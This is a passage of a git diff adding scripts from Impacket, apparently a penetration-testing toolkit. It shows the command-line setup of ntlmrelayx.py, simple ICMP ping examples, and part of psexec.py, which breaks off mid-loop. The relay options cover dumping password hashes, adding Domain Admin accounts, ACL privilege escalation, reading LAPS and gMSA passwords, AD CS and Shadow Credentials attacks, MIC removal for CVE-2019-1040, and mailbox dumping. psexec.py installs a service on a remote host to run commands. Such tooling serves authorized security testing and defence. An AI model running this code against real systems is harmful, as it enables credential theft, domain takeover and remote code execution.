+       # c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.sid, options.user_delegate_access)
+
+        #If the redirect option is set, configure the HTTP server to redirect targets to SMB
+        if server is HTTPRelayServer and options.r is not None:
+            c.setMode('REDIRECT')
+            c.setRedirectHost(options.r)
+
+        #Use target randomization if configured and the server is not SMB
+        if server is not SMBRelayServer and options.random:
+            c.setRandomTargets(True)
+
+        if server is HTTPRelayServer:
+            c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain)
+            for port in options.http_port:
+                c.setListeningPort(port)
+                s = server(c)
+                s.start()
+                threads.add(s)
+                sleep(0.1)
+            continue
+
+        elif server is SMBRelayServer:
+            c.setListeningPort(options.smb_port)
+        elif server is WCFRelayServer:
+            c.setListeningPort(options.wcf_port)
+        elif server is RAWRelayServer:
+            c.setListeningPort(options.raw_port)
+
+        s = server(c)
+        s.start()
+        threads.add(s)
+    return c
+
+def stop_servers(threads):
+    todelete = []
+    for thread in threads:
+        if isinstance(thread, tuple(RELAY_SERVERS)):
+            thread.server.shutdown()
+            todelete.append(thread)
+    # Now remove threads from the set
+    for thread in todelete:
+        threads.remove(thread)
+        del thread
+
+# Process command-line arguments.
+if __name__ == '__main__':
+
+    print(version.BANNER)
+    #Parse arguments
+    parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will "
+                                    "try to relay that connection to specified target(s) system or the original client")
+    parser._optionals.title = "Main options"
+
+    #Main arguments
+    parser.add_argument("-h","--help", action="help", help='show this help message and exit')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help="Target to relay the credentials to, "
+                                  "can be an IP, hostname or URL like domain\\username@host:port (domain\\username and port "
+                                  "are optional, and don't forget to escape the '\\'). If unspecified, it will relay back "
+                                  "to the client')")
+    parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or '
+                                                                             'full URL, one per line')
+    parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list '
+                                                        'automatically (only valid with -tf)')
+    parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient or LDAP console instead'
+                        'of executing a command after a successful relay. This console will listen locally on a '
+                        ' tcp port and can be reached with for example netcat.')
+
+    # Interface address specification
+    parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to '
+                  'bind SMB and HTTP servers',default='')
+
+    serversoptions = parser.add_argument_group()
+    serversoptions.add_argument('--no-smb-server', action='store_true', help='Disables the SMB server')
+    serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server')
+    serversoptions.add_argument('--no-wcf-server', action='store_true', help='Disables the WCF server')
+    serversoptions.add_argument('--no-raw-server', action='store_true', help='Disables the RAW server')
+
+    parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445)
+    parser.add_argument('--http-port', help='Port(s) to listen on HTTP server. Can specify multiple ports by separating them with `,`, and ranges with `-`. Ex: `80,8000-8010`', default="80")
+    parser.add_argument('--wcf-port', type=int, help='Port to listen on wcf server', default=9389)  # ADWS
+    parser.add_argument('--raw-port', type=int, help='Port to listen on raw server', default=6666)
+
+    parser.add_argument('--no-multirelay', action="store_true", required=False, help='If set, disable multi-host relay (SMB and HTTP servers)')
+    parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection')
+    parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER')
+    parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot '
+                    'directory in which gathered loot such as SAM dumps will be stored (default: current directory).')
+    parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes '
+                                                                   'will be added for ntlm and ntlmv2')
+    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
+                                                       '"%s"). If errors are detected, run chcp.com at the target, '
+                                                       'map the result with '
+                                                       'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute ntlmrelayx.py '
+                                                       'again with -codec and the corresponding codec ' % sys.getdefaultencoding())
+    parser.add_argument('-smb2support', action="store_true", default=False, help='SMB2 Support')
+    parser.add_argument('-ntlmchallenge', action="store", default=None, help='Specifies the NTLM server challenge used by the '
+                                                                             'SMB Server (16 hex bytes long. eg: 1122334455667788)')
+    parser.add_argument('-socks', action='store_true', default=False,
+                        help='Launch a SOCKS proxy for the connection relayed')
+    parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, '
+                                                                   'setting the proxy host to the one supplied.')
+    parser.add_argument('-wa','--wpad-auth-num', action='store', type=int, default=1, help='Prompt for authentication N times for clients without MS16-077 installed '
+                                                                   'before serving a WPAD file. (default=1)')
+    parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4')
+    parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)')
+    parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients')
+    parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on '
+                        'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be'
+                        ' in the same directory). For RPC no output will be provided.')
+
+    #SMB arguments
+    smboptions = parser.add_argument_group("SMB client options")
+
+    smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. '
+                                     'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')
+    smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)')
+
+    #RPC arguments
+    rpcoptions = parser.add_argument_group("RPC client options")
+    rpcoptions.add_argument('-rpc-mode', choices=["TSCH"], default="TSCH", help='Protocol to attack, only TSCH supported')
+    rpcoptions.add_argument('-rpc-use-smb', action='store_true', required=False, help='Relay DCE/RPC to SMB pipes')
+    rpcoptions.add_argument('-auth-smb', action='store', required=False, default='', metavar='[domain/]username[:password]',
+        help='Use this credential to authenticate to SMB (low-privilege account)')
+    rpcoptions.add_argument('-hashes-smb', action='store', required=False, metavar="LMHASH:NTHASH")
+    rpcoptions.add_argument('-rpc-smb-port', type=int, choices=[139, 445], default=445, help='Destination port to connect to SMB')
+
+    #MSSQL arguments
+    mssqloptions = parser.add_argument_group("MSSQL client options")
+    mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'
+                        '(can specify multiple)')
+
+    #HTTPS options
+    httpoptions = parser.add_argument_group("HTTP options")
+    httpoptions.add_argument('-machine-account', action='store', required=False,
+                            help='Domain machine account to use when interacting with the domain to grab a session key for '
+                                 'signing, format is domain/machine_name')
+    httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH",
+                            help='Domain machine hashes, format is LMHASH:NTHASH')
+    httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
+    httpoptions.add_argument('-remove-target', action='store_true', default=False,
+                            help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)')
+
+    #LDAP options
+    ldapoptions = parser.add_argument_group("LDAP client options")
+    ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information')
+    ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin')
+    ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks')
+    ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks')
+    ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one')
+    ldapoptions.add_argument('--add-computer', action='store', metavar=('COMPUTERNAME', 'PASSWORD'), required=False, nargs='*', help='Attempt to add a new computer account')
+    ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account')
+    ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name')
+    ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user')
+    ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user')
+    ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info')
+    ldapoptions.add_argument('--user-delegate-access', action='store_true', required=False, help='Delegate access on relayed user account to the specified account')
+
+    #IMAP options
+    imapoptions = parser.add_argument_group("IMAP client options")
+    imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. '
+                        'If not specified, will search for mails containing "password"')
+    imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX')
+    imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, '
+                        'dump all emails')
+    imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump '
+        '(0 = unlimited, default: no limit)')
+
+    # AD CS options
+    adcsoptions = parser.add_argument_group("AD CS attack options")
+    adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack')
+    adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`')
+    adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.')
+
+    # Shadow Credentials attack options
+    shadowcredentials = parser.add_argument_group("Shadow Credentials attack options")
+    shadowcredentials.add_argument('--shadow-credentials', action='store_true', required=False,
+                                   help='Enable Shadow Credentials relay attack (msDS-KeyCredentialLink manipulation for PKINIT pre-authentication)')
+    shadowcredentials.add_argument('--shadow-target', action='store', required=False, help='target account (user or computer$) to populate msDS-KeyCredentialLink from')
+    shadowcredentials.add_argument('--pfx-password', action='store', required=False,
+                                   help='password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)')
+    shadowcredentials.add_argument('--export-type', action='store', required=False, choices=["PEM", " PFX"], type=lambda choice: choice.upper(), default="PFX",
+                                   help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))')
+    shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key')
+
+    try:
+       options = parser.parse_args()
+    except Exception as e:
+       logging.error(str(e))
+       sys.exit(1)
+
+    if options.rpc_use_smb and not options.auth_smb:
+       logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes")
+       sys.exit(1)
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+        logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
+
+    # Let's register the protocol clients we have
+    # ToDo: Do this better somehow
+    from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS
+    from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS
+
+
+    if options.codec is not None:
+        codec = options.codec
+    else:
+        codec = sys.getdefaultencoding()
+
+    if options.target is not None:
+        logging.info("Running in relay mode to single host")
+        mode = 'RELAY'
+        targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS, randomize=options.random)
+        # Disabling multirelay feature (Single host + general candidate)
+        if targetSystem.generalCandidates:
+            options.no_multirelay = True
+    else:
+        if options.tf is not None:
+            #Targetfile specified
+            logging.info("Running in relay mode to hosts in targetfile")
+            targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS, randomize=options.random)
+            mode = 'RELAY'
+        else:
+            logging.info("Running in reflection mode")
+            targetSystem = None
+            mode = 'REFLECTION'
+
+    if not options.no_smb_server:
+        RELAY_SERVERS.append(SMBRelayServer)
+
+    if not options.no_http_server:
+        RELAY_SERVERS.append(HTTPRelayServer)
+        try:
+            options.http_port = parse_listening_ports(options.http_port)
+        except ValueError:
+            logging.error("Incorrect specification of port range for HTTP server")
+            sys.exit(1)
+
+        if options.r is not None:
+            logging.info("Running HTTP server in redirect mode")
+
+    if not options.no_wcf_server:
+        RELAY_SERVERS.append(WCFRelayServer)
+
+    if not options.no_raw_server:
+        RELAY_SERVERS.append(RAWRelayServer)
+
+    if targetSystem is not None and options.w:
+        watchthread = TargetsFileWatcher(targetSystem)
+        watchthread.start()
+
+    threads = set()
+    socksServer = None
+    if options.socks is True:
+        # Start a SOCKS proxy in the background
+        socksServer = SOCKS()
+        socksServer.daemon_threads = True
+        socks_thread = Thread(target=socksServer.serve_forever)
+        socks_thread.daemon = True
+        socks_thread.start()
+        threads.add(socks_thread)
+
+    c = start_servers(options, threads)
+
+    print("")
+    logging.info("Servers started, waiting for connections")
+    try:
+        if options.socks:
+            shell = MiniShell(c, threads)
+            shell.cmdloop()
+        else:
+            sys.stdin.read()
+    except KeyboardInterrupt:
+        pass
+    else:
+        pass
+
+    if options.socks is True:
+        socksServer.shutdown()
+        del socksServer
+
+    for s in threads:
+        del s
+
+    sys.exit(0)
diff --git a/examples/ping.py b/examples/ping.py
new file mode 100644
index 0000000..9e8a1c5
--- /dev/null
+++ b/examples/ping.py
@@ -0,0 +1,91 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Simple ICMP ping.
+#
+#   This implementation of ping uses the ICMP echo and echo-reply packets
+#   to check the status of a host. If the remote host is up, it should reply
+#   to the echo probe with an echo-reply packet.
+#   Note that this isn't a definite test, as in the case the remote host is up
+#   but refuses to reply the probes.
+#   Also note that the user must have special access to be able to open a raw
+#   socket, which this program requires.
+#
+# Authors:
+#   Gerardo Richarte (@gerasdf)
+#   Javier Kohen
+#
+# Reference for:
+#   ImpactPacket: IP, ICMP, DATA
+#   ImpactDecoder
+#
+
+import select
+import socket
+import time
+import sys
+
+from impacket import ImpactDecoder, ImpactPacket
+
+if len(sys.argv) < 3:
+    print("Use: %s <src ip> <dst ip>" % sys.argv[0])
+    sys.exit(1)
+
+src = sys.argv[1]
+dst = sys.argv[2]
+
+# Create a new IP packet and set its source and destination addresses.
+
+ip = ImpactPacket.IP()
+ip.set_ip_src(src)
+ip.set_ip_dst(dst)
+
+# Create a new ICMP packet of type ECHO.
+
+icmp = ImpactPacket.ICMP()
+icmp.set_icmp_type(icmp.ICMP_ECHO)
+
+# Include a 156-character long payload inside the ICMP packet.
+icmp.contains(ImpactPacket.Data(b"A"*156))
+
+# Have the IP packet contain the ICMP packet (along with its payload).
+ip.contains(icmp)
+
+# Open a raw socket. Special permissions are usually required.
+s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
+s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
+
+seq_id = 0
+while 1:
+    # Give the ICMP packet the next ID in the sequence.
+    seq_id += 1
+    icmp.set_icmp_id(seq_id)
+
+    # Calculate its checksum.
+    icmp.set_icmp_cksum(0)
+    icmp.auto_checksum = 1
+
+    # Send it to the target host.
+    s.sendto(ip.get_packet(), (dst, 0))
+
+    # Wait for incoming replies.
+    if s in select.select([s], [], [], 1)[0]:
+       reply = s.recvfrom(2000)[0]
+
+       # Use ImpactDecoder to reconstruct the packet hierarchy.
+       rip = ImpactDecoder.IPDecoder().decode(reply)
+       # Extract the ICMP packet from its container (the IP packet).
+       ricmp = rip.child()
+
+       # If the packet matches, report it to the user.
+       if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type():
+           print("Ping reply for sequence #%d" % ricmp.get_icmp_id())
+
+       time.sleep(1)
diff --git a/examples/ping6.py b/examples/ping6.py
new file mode 100644
index 0000000..91af15d
--- /dev/null
+++ b/examples/ping6.py
@@ -0,0 +1,86 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Simple ICMP6 ping.
+#
+#   This implementation of ping uses the ICMP echo and echo-reply packets
+#   to check the status of a host. If the remote host is up, it should reply
+#   to the echo probe with an echo-reply packet.
+#   Note that this isn't a definite test, as in the case the remote host is up
+#   but refuses to reply the probes.
+#   Also note that the user must have special access to be able to open a raw
+#   socket, which this program requires.
+#
+# Authors:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   ImpactPacket: ICMP6
+#   ImpactDecoder
+#
+
+import select
+import socket
+import time
+import sys
+
+from impacket import ImpactDecoder, IP6, ICMP6, version
+
+print(version.BANNER)
+
+if len(sys.argv) < 3:
+    print("Use: %s <src ip> <dst ip>" % sys.argv[0])
+    sys.exit(1)
+
+src = sys.argv[1]
+dst = sys.argv[2]
+
+# Create a new IP packet and set its source and destination addresses.
+
+ip = IP6.IP6()
+ip.set_ip_src(src)
+ip.set_ip_dst(dst)
+ip.set_traffic_class(0)
+ip.set_flow_label(0)
+ip.set_hop_limit(64)
+
+# Open a raw socket. Special permissions are usually required.
+s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
+
+payload = b"A"*156
+
+print("PING %s %d data bytes" % (dst, len(payload)))
+seq_id = 0
+while 1:
+    # Give the ICMP packet the next ID in the sequence.
+    seq_id += 1
+    icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload)
+
+    # Have the IP packet contain the ICMP packet (along with its payload).
+    ip.contains(icmp)
+    ip.set_next_header(ip.child().get_ip_protocol_number())
+    ip.set_payload_length(ip.child().get_size())
+    icmp.calculate_checksum()
+
+    # Send it to the target host.
+    s.sendto(icmp.get_packet(), (dst, 0))
+
+    # Wait for incoming replies.
+    if s in select.select([s], [], [], 1)[0]:
+        reply = s.recvfrom(2000)[0]
+
+        # Use ImpactDecoder to reconstruct the packet hierarchy.
+        rip = ImpactDecoder.ICMP6Decoder().decode(reply)
+
+        # If the packet matches, report it to the user.
+        if ICMP6.ICMP6.ECHO_REPLY == rip.get_type():
+            print("%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4, dst, rip.get_echo_sequence_number()))
+
+        time.sleep(1)
diff --git a/examples/psexec.py b/examples/psexec.py
new file mode 100644
index 0000000..f86fc65
--- /dev/null
+++ b/examples/psexec.py
@@ -0,0 +1,682 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom)
+#
+# Author:
+#   beto (@agsolino)
+#
+# Reference for:
+#   DCE/RPC and SMB.
+#
+
+import sys
+import os
+import re
+import cmd
+import logging
+from threading import Thread, Lock
+import argparse
+import random
+import string
+import time
+from six import PY3
+
+from impacket.examples import logger
+from impacket import version, smb
+from impacket.smbconnection import SMBConnection
+from impacket.dcerpc.v5 import transport
+from impacket.structure import Structure
+from impacket.examples import remcomsvc, serviceinstall
+from impacket.examples.utils import parse_target
+from impacket.krb5.keytab import Keytab
+
+CODEC = sys.stdout.encoding
+
+class RemComMessage(Structure):
+    structure = (
+        ('Command','4096s=""'),
+        ('WorkingDir','260s=""'),
+        ('Priority','<L=0x20'),
+        ('ProcessID','<L=0x01'),
+        ('Machine','260s=""'),
+        ('NoWait','<L=0'),
+    )
+
+class RemComResponse(Structure):
+    structure = (
+        ('ErrorCode','<L=0'),
+        ('ReturnCode','<L=0'),
+    )
+
+RemComSTDOUT = "RemCom_stdout"
+RemComSTDIN = "RemCom_stdin"
+RemComSTDERR = "RemCom_stderr"
+
+lock = Lock()
+
+class PSEXEC:
+    def __init__(self, command, path, exeFile, copyFile, port=445,
+                 username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, serviceName=None,
+                 remoteBinaryName=None):
+        self.__username = username
+        self.__password = password
+        self.__port = port
+        self.__command = command
+        self.__path = path
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = aesKey
+        self.__exeFile = exeFile
+        self.__copyFile = copyFile
+        self.__doKerberos = doKerberos
+        self.__kdcHost = kdcHost
+        self.__serviceName = serviceName
+        self.__remoteBinaryName = remoteBinaryName
+        if hashes is not None:
+            self.__lmhash, self.__nthash = hashes.split(':')
+
+    def run(self, remoteName, remoteHost):
+        stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
+        logging.debug('StringBinding %s'%stringbinding)
+        rpctransport = transport.DCERPCTransportFactory(stringbinding)
+        rpctransport.set_dport(self.__port)
+        rpctransport.setRemoteHost(remoteHost)
+        if hasattr(rpctransport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
+                                         self.__nthash, self.__aesKey)
+        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
+        self.doStuff(rpctransport)
+
+    def openPipe(self, s, tid, pipe, accessMask):
+        pipeReady = False
+        tries = 50
+        while pipeReady is False and tries > 0:
+            try:
+                s.waitNamedPipe(tid,pipe)
+                pipeReady = True
+            except:
+                tries -= 1
+                time.sleep(2)
+                pass
+
+        if tries == 0:
+            raise Exception('Pipe not ready, aborting')
+
+        fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
+
+        return fid
+
+    def doStuff(self, rpctransport):
+
+        dce = rpctransport.get_dce_rpc()
+        try:
+            dce.connect()
+        except Exception as e:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+            logging.critical(str(e))
+            sys.exit(1)
+
+        global dialect
+        dialect = rpctransport.get_smb_connection().getDialect()
+
+        try:
+            unInstalled = False
+            s = rpctransport.get_smb_connection()
+
+            # We don't wanna deal with timeouts from now on.
+            s.setTimeout(100000)
+            if self.__exeFile is None:
+                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc(), self.__serviceName, self.__remoteBinaryName)
+            else:
+                try:
+                    f = open(self.__exeFile, 'rb')
+                except Exception as e:
+                    logging.critical(str(e))
+                    sys.exit(1)
+                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f)
+
+            if installService.install() is False:
+                return
+
+            if self.__exeFile is not None:
+                f.close()
+
+            # Check if we need to copy a file for execution
+            if self.__copyFile is not None:
+                installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))
+                # And we change the command to be executed to this filename
+                self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command
+
+            tid = s.connectTree('IPC$')
+            fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)
+
+            packet = RemComMessage()
+            pid = os.getpid()
+
+            packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
+            if self.__path is not None:
+                packet['WorkingDir'] = self.__path
+            packet['Command'] = self.__command
+            packet['ProcessID'] = pid
+
+            s.writeNamedPipe(tid, fid_main, packet.getData())
+
+            # Here we'll store the command we type so we don't print it back ;)
+            # ( I know.. globals are nasty :P )
+            global LastDataSent
+            LastDataSent = ''
+
+            # Create the pipes threads
+            stdin_pipe = RemoteStdInPipe(rpctransport,
+                                         r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),
+                                         smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare())
+            stdin_pipe.start()
+            stdout_pipe = RemoteStdOutPipe(rpctransport,
+                                           r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),
+                                           smb.FILE_READ_DATA)
+            stdout_pipe.start()
+            stderr_pipe = RemoteStdErrPipe(rpctransport,
+                                           r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),
+                                           smb.FILE_READ_DATA)
+            stderr_pipe.start()
+
+            # And we stay here till the end
+            ans = s.readNamedPipe(tid,fid_main,8)
+
+            if len(ans):
+                retCode = RemComResponse(ans)
+                logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (
+                self.__command, retCode['ErrorCode'], retCode['ReturnCode']))
+            installService.uninstall()
+            if self.__copyFile is not None:
+                # We copied a file for execution, let's remove it
+                s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
+            unInstalled = True
+            sys.exit(retCode['ErrorCode'])
+
+        except SystemExit:
+            raise
+        except Exception as e:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+            logging.debug(str(e))
+            if unInstalled is False:
+                installService.uninstall()
+                if self.__copyFile is not None:
+                    s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
+            sys.stdout.flush()
+            sys.exit(1)
+
+
+class Pipes(Thread):
+    def __init__(self, transport, pipe, permissions, share=None):
+        Thread.__init__(self)
+        self.server = 0
+        self.transport = transport
+        self.credentials = transport.get_credentials()
+        self.tid = 0
+        self.fid = 0
+        self.share = share
+        self.port = transport.get_dport()
+        self.pipe = pipe
+        self.permissions = permissions
+        self.daemon = True
+
+    def connectPipe(self):
+        try:
+            lock.acquire()
+            global dialect
+            #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
+            self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(),
+                                        sess_port=self.port, preferredDialect=dialect)
+            user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
+            if self.transport.get_kerberos() is True:
+                self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
+            else:
+                self.server.login(user, passwd, domain, lm, nt)
+            lock.release()
+            self.tid = self.server.connectTree('IPC$')
+
+            self.server.waitNamedPipe(self.tid, self.pipe)
+            self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
+            self.server.setTimeout(1000000)
+        except:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+            logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
+
+
+class RemoteStdOutPipe(Pipes):
+    def __init__(self, transport, pipe, permisssions):
+        Pipes.__init__(self, transport, pipe, permisssions)
+
+    def run(self):
+        self.connectPipe()
+
+        global LastDataSent
+
+        if PY3:
+            __stdoutOutputBuffer, __stdoutData = b"", b""
+
+            while True:
+                try:
+                    stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
+                except:
+                    pass
+                else:
+                    try:
+                        if stdout_ans != LastDataSent:
+                            if len(stdout_ans) != 0:
+                                # Append new data to the buffer while there is data to read
+                                __stdoutOutputBuffer += stdout_ans
+
+                        promptRegex = rb'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$'
+
+                        endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None)
+                        if endsWithPrompt == True:
+                            # All data, we shouldn't have encoding errors
+                            # Adding a space after the prompt because it's beautiful
+                            __stdoutData = __stdoutOutputBuffer + b" "
+                            # Remainder data for next iteration
+                            __stdoutOutputBuffer = b""
+
+                            # print("[+] endsWithPrompt")
+                            # print(" | __stdoutData:",__stdoutData)
+                            # print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer)
+                        elif b'\n' in __stdoutOutputBuffer:
+                            # We have read a line, print buffer if it is not empty
+                            lines = __stdoutOutputBuffer.split(b"\n")
+                            # All lines, we shouldn't have encoding errors
+                            __stdoutData = b"\n".join(lines[:-1]) + b"\n"
+                            # Remainder data for next iteration
+                            __stdoutOutputBuffer = lines[-1]
+                            # print("[+] newline in __stdoutOutputBuffer")
+                            # print(" | __stdoutData:",__stdoutData)
+                            # print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer)
+
+                        if len(__stdoutData) != 0:
+                            # There is data to print
+                            try:
+                                sys.stdout.write(__stdoutData.decode(CODEC))
+                                sys.stdout.flush()
+                                __stdoutData = b""
+                            except UnicodeDecodeError:
+                                logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
+                                              'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py '
+                                              'again with -codec and the corresponding codec')
+                                print(__stdoutData.decode(CODEC, errors='replace'))
+                                __stdoutData = b""
+                        else:
+                            # Don't echo the command that was sent, and clear it up
+                            LastDataSent = b""
+                        # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
+                        # it will give false positives tho.. we should find a better way to handle this.
+                        # if LastDataSent > 10:
+                        #     LastDataSent = ''
+                    except:
+                        pass
+        else:
+            __stdoutOutputBuffer, __stdoutData = "", ""
+
+            while True:
+                try:
+                    stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
+                except:
+                    pass
+                else:
+                    try:
+                        if stdout_ans != LastDataSent:
+                            if len(stdout_ans) != 0:
+                                # Append new data to the buffer while there is data to read
